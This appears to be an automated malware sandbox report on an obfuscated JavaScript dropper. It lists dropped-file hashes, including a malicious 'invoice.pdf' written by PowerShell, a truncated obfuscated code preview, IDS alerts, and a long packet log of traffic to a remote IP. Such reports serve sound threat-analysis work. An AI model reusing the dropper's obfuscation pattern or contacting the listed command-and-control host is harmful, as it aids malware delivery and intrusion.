SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\10732ce7-09ef-4c0d-9092-1dc405e571af.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4d27bc35-795a-4c1f-ae18-8ee23587e161.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16855), with CRLF line terminators
Entropy (8bit):	4.919843764623756
TrID:
File name:	30562134305434372.js
File size:	20'386 bytes
MD5:	4bd208de859515cc7bd5454270b3f625
SHA1:	0b631f2bb96377664bae9d38045abb90d50282dd
SHA256:	6f0b279c90933acf92d07a9a6c27c7cbe9d0711a2761fc01287b3e84e1729b0c
SHA512:	33fa5d45beb37078d8afb8568c0e77f14656027287ea96b2ab50820bbe72ab54db9caec91ebb18c279274f439508987a640a3aeb7b09e4d8663d3d653e00bb14
SSDEEP:	384:24i6ti2U4gKSXkUpH0LIRW192q7kROkon2hBki/nJxqWdp8pCU/57512pR/bIbnP:24i6tY4gKOon2hBki/nJxqWdp8pCU/5x
TLSH:	999233E04820C31BCCD823D0959B0DF35799009D89906BF6DD76AA8998FDD3B61D71BE
File Content Preview:	function ppqhhu(){yumpp=[1031,3079,5127,4103,2055,3072];var nxbgy=this[byggaqbdc+luzribufh+atjwfegw+iborvb+bdltb+qiwofhdy+qvvejkhug+tjmurlxo](this[bpnvynokg+okyge+teebls+atjwfegw+acqizvftq+byggaqbdc+tjmurlxo][ourlbmz+atjwfegw+bdltb+luzribufh+tjmurlxo+bdlt

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T16:18:08.931777+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49787	193.143.1.205	80	TCP
2025-01-10T16:18:11.171823+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49799	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 16:18:08.105117083 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:08.110158920 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.110251904 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:08.113861084 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:08.118757963 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931574106 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931593895 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931619883 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931637049 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931653976 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931669950 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931730032 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931746006 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931761026 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931777954 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.931777000 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:08.931777000 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:08.931832075 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:08.931832075 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:08.936665058 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.981847048 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.981878042 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:08.981991053 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.053380013 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.053513050 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.053673983 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.053894043 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.053908110 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.053926945 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.053939104 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.053951979 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.053966045 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.054559946 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.054573059 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.054585934 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.054595947 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.054598093 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.054613113 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.054620981 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.054653883 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.054653883 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.055425882 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.055438995 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.055450916 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.055521011 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.055582047 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.055744886 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.055948019 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.055959940 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.055972099 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.055984974 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.056004047 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.056056976 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.062357903 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.062454939 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.062494993 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.062566996 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.089452982 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.089570045 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.147387028 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.147447109 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.147481918 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.147546053 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.178177118 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178190947 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178209066 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178220987 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178281069 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178297997 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.178361893 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.178361893 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.178519964 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178539991 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178550959 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178577900 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.178872108 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178915024 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.178921938 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.178927898 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.179007053 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.179236889 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.179286957 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.179299116 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.179339886 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.179388046 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.179400921 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.179410934 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.179438114 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.179478884 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.180210114 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.180229902 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.180241108 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.180354118 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.180406094 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.180418015 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.180430889 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.180469036 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.180604935 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.181106091 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.181235075 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.181246996 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.181266069 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.181277990 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.181289911 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.181453943 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.181453943 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.181453943 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.182029009 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.182115078 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.182127953 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.182173014 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.182180882 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.182193995 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.182204962 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.182250977 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.182250977 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.183115005 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.183129072 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.183142900 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.183155060 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.183166027 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.183177948 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.183207035 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.183207035 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.183228970 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.183887005 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.183929920 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.184035063 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.237238884 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.237260103 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.237396955 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.268002987 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.268022060 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.268033028 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.268054008 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.268070936 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.268105984 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.268129110 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.268129110 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.268182039 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299127102 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299185991 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299204111 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299230099 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299245119 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299267054 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299266100 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299266100 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299309969 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299379110 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299443960 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299508095 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299539089 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299554110 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299618006 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299621105 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299685001 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299724102 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299762964 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299777985 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299876928 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299890995 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299930096 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299930096 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.299937010 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299952984 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.299995899 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.300019026 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300097942 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300112009 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300127029 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300138950 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.300157070 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300180912 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.300591946 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300621033 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300636053 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300673008 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.300673008 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.300695896 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300748110 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300760984 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300776005 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300785065 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.300832987 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.300880909 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300949097 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300966024 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.300981998 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301017046 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.301017046 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.301541090 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301573038 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301589012 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301644087 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301660061 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301682949 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.301682949 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.301754951 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301769972 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301788092 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301810026 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.301846981 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.301892996 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301907063 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301923037 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.301959038 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.302445889 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302474022 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302490950 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302525043 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.302525997 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.302598000 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302614927 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302633047 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302659988 CET	49787	80	192.168.2.9	193.143.1.205
Jan 10, 2025 16:18:09.302720070 CET	80	49787	193.143.1.205	192.168.2.9
Jan 10, 2025 16:18:09.302735090 CET	80	49787	193.143.1.205	192.168.2.9
